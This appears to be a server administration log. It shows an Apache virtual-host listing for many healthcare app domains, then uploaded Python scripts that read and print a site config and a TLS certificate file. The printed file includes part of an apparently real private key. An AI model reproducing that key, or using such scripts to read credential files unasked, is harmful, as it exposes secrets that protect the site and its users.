         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:00:50: 

PUT: /tmp/pkp228801

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:00:50: 

chmod 755 /tmp/pkp228801; /tmp/pkp228801; rm /tmp/pkp228801

2025-10-11 06:00:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf	1680

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-11 06:00:50: 

PUT: /tmp/pkp626232

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:00:50: 

chmod 755 /tmp/pkp626232; /tmp/pkp626232; rm /tmp/pkp626232

2025-10-11 06:00:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt	5361
1b:f2:77:39:b4:3f:67:f3:eb:29:eb:17:db:7a:8c:02

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmZmHTZA86iTLqb3mqdQnW0iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjE4WhcNMjYwMTA5MDUwMjE3WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA0FeY936J7P9SiKbEdp+JiaR3F5c9Zn6zdNlZCDFy2InMo4jf9wK0
JJ4GDMeqj4y96Tt2xPADziFqcf8BcsKjUFIKV9RkOVRZ6Gj49Har/Lf9koRbaH2Z
+5IL2nrAGZYcT9rnUqhci1xKRZPXNPYzIamEQplYYTyDR8JOAc7tQ6TNJBTYavjl
KbSl44k0nXnhQYNZneu+3e63N/+BEy6hGatqN6YlI9HcaaVxjj3rtBvKg76Z44xR
udYbX/uXls8zUK3RaWCTxeuOtleeD/Jm4eqQIaFeKZ8c5tMi99MzchSCO48wQHLf
lghKsA4kccpFy3jW3IaLHBiquW/n90B4fwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBQL+LnevTp5n1F36v5YMzQZKdh1IjAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNS5jcmwwggECBgorBgEEAdZ5AgQC
BIHzBIHwAO4AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnR
24N8AAAEAwBGMEQCIBq27AOnFIxQmltlOZELBpU4VjN/VnxmpejKkScv4kV5AiAC
XLKs6j1rqpxHW9QwcDrycsUbKXmmciRo6g+xwsTiKgB1ABmG1Mcoqm/+ugNveCpN
AZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbh0oAAAQDAEYwRAIgdlz/sGqPmuY920Oa
QZCg7hVzMjTdzv93kV3MY7XB89cCIDypINdLHStYyREySUTVboHr8v6AC6fEQ7Iy
aLh0/m3PMA0GCSqGSIb3DQEBCwUAA4IBAQBY9sAOoEQAOpnOTX4o/W5J4pfTXq+l
k4JZIii2ufUrfGdC3QgRrPtI7qnV+iCdAvK8Jm4+UXcN3prHsWY/z5hakJvqgr4i
UGP32eO1kwPMKm2Vvs9wFFldUdfXuvWt+Plir8dnkDo8M2L0FduLLEpjvI6Fudmk
MJBUQYt4aaBYPqREtkB229AELfJ9NP52F6Jr3ZzZw0R3AK0FWIDxO5U4PdhRXuyJ
UAkEIIDjdloqJDguFQ6D/R9/Zi8KiQSTZC/y0+p2OfDdjeMNMRK7lNi784ercLUD
iihMpwZMsPHSRM+7J5WyX/OlmDvnet4n7K57oSYSp5lqYZr0ZjR7LRNS
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQV5j3fons/1KI
psR2n4mJpHcXlz1mfrN02VkIMXLYicyjiN/3ArQkngYMx6qPjL3pO3bE8APOIWpx
/wFywqNQUgpX1GQ5VFnoaPj0dqv8t/2ShFtofZn7kgvaesAZlhxP2udSqFyLXEpF
k9c09jMhqYRCmVhhPINHwk4Bzu1DpM0kFNhq+OUptKXjiTSdeeFBg1md677d7rc3
/4ETLqEZq2o3piUj0dxppXGOPeu0G8qDvpnjjFG51htf+5eWzzNQrdFpYJPF6462
V54P8mbh6pAhoV4pnxzm0yL30zNyFII7jzBAct+WCEqwDiRxykXLeNbchoscGKq5
b+f3QHh/AgMBAAECggEAIQ1Ukib8AKI82LsEPgFvU2vJDPAMaJ8/HxGAI2Gc46dw
1JzZUxmVtJ1xPkPK1j0wv7iUTgf5wpDgjzcyZp9kQ1DQnUBvqfysysckf7v36v7R
dpYS3k/WxudThBSnNyfuU+jZe+6DyAQbMFCU+qz4TaXT+rDTKZHtDcxQjc7jKzDH
jw4E+YcpMRmhpP8ylCRHZGyurlZASBs8HrAA+sfrnpc8XdCWCYy7lRB6RMCgOyKx
5PBcKxb2/MhlYPVeA6iJ4EYOe3triD6ggQ61dp+wRMDYxiou5rzv0SqrAjy2vi6/
sPd3Y69Wu3cbH2BWtqtkwpoX38enEfHdFbnj2B49mQKBgQDzHYOVb/KPEnYcq8lh
DtUPZKlefDIgNtdvUVrCmUXpxyiIB6fgWD6W+9h6AnXcPx7TIGqxRX0PcC0FNzy3
oeZFus+AAQh+ok5er2i2O6vXYfNpPUTP5jLNJ8SUiIvdP6op0GMI48KlGshoXO2Z
